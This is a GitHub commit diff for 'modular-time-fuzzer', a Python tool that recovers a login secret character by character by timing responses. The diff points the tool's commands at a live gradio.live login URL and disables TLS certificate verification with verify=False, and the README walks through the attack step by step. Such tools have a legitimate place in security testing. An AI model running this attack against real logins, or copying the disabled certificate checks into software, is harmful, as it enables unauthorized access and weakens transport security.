Skip to content

Commit

Permalink
remove ssl
Browse files Browse the repository at this point in the history
  • Loading branch information
gogo2464 committed Nov 16, 2024
1 parent d749c8c commit d06e090
Show file tree
Hide file tree
Showing 3 changed files with 8 additions and 13 deletions.
17 changes: 6 additions & 11 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,18 +28,16 @@ Run simply:
pip install modular-time-fuzzer
```


# I.3/ Usage

`measure` command line permits to choose inputs that will be recorded to the database.
`analyze` command line permits to represent the data collected to a picture graph.

```bash
measure -r 10 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z "out.sqlite"
analyze -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z "out.sqlite"
measure -r 10 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -u https://e9208b1412526f8b89.gradio.live/login "out.sqlite"
analyze -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -u https://e9208b1412526f8b89.gradio.live/login "out.sqlite"
```


At any moment, you could run sql query on the database in order to determine for example wich request is noised: `sqlite3 "out.sqlite"`.

then, you could see how much requests you considere as not noised for a single input character with:
Expand Down Expand Up @@ -82,8 +80,6 @@ sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'a
403.772096966667
```



```bash
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'a' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.772096966667
Expand Down Expand Up @@ -197,14 +193,14 @@ tmux attach -t persistent_server
If you want to run these two scripts

```bash
measure -r 1000 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z "out.sqlite"
analyze -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z "out.sqlite"
measure -r 1000 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -u https://e9208b1412526f8b89.gradio.live/login "out.sqlite"
analyze -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -u https://e9208b1412526f8b89.gradio.live/login "out.sqlite"
```

On a cloud backend to ensure it will never exit, install previously mentionned dependencies and run:

```bash
tmux new-session -d -s persistent_session "source ./venv3/bin/activate && rm -Rf mkdir tmpdir/ && mkdir tmpdir/ ; measure -r 1000 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z 'out.sqlite' && analyze -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z 'out.sqlite'"
tmux new-session -d -s persistent_session "source ./venv3/bin/activate && rm -Rf mkdir tmpdir/ && mkdir tmpdir/ ; measure -r 1000 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -u https://e9208b1412526f8b89.gradio.live/login 'out.sqlite' && analyze -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z 'out.sqlite'"
tmux attach -t persistent_session
```

Expand All @@ -213,7 +209,7 @@ tmux attach -t persistent_session
Collect request time with:

```bash
measure -r 250 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z "out.sqlite"
measure -r 250 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -u https://e9208b1412526f8b89.gradio.live/login "out.sqlite"
```

and remove useless requests time with an sql `SELECT` as:
Expand Down Expand Up @@ -276,7 +272,6 @@ sqlite

The greatest average request set took 404.4 ms that corresponds exactly to the `i` and it is exactly the right good first character! We just found the first character!


# III/ API reference for developpers

# IV/ Why using a modular timing attack fuzzer?
Expand Down
2 changes: 1 addition & 1 deletion bins/measure.py
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,7 @@ def main():
print("requesting")
time_start = time.monotonic_ns()
try:
r = session.post(args.u, data) # "https://44b22a6eeee0f9d7d9.gradio.live/login"
r = session.post(args.u, data, verify=False) # "https://44b22a6eeee0f9d7d9.gradio.live/login"
except:
print("unreachable network")
pass
Expand Down
2 changes: 1 addition & 1 deletion pyproject.toml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
[project]
name = "modular_time_fuzzer"
version = "0.0.6"
version = "0.0.7"
authors = [
{ name="gogo246475", email="[email protected]" },
]
Expand Down

0 comments on commit d06e090

Please sign in to comment.